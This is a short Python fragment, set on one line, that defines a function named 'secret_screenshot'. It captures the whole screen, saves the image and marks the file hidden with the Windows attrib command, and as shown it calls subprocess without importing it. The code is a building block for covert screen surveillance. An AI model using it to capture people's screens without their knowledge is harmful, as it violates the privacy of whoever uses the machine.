import pyscreenshot as ImageGrab def secret_screenshot(): im = ImageGrab.grab() im.save("fullscreen.png") subprocess.check_call(["attrib", "+H", "fullscreen.png"])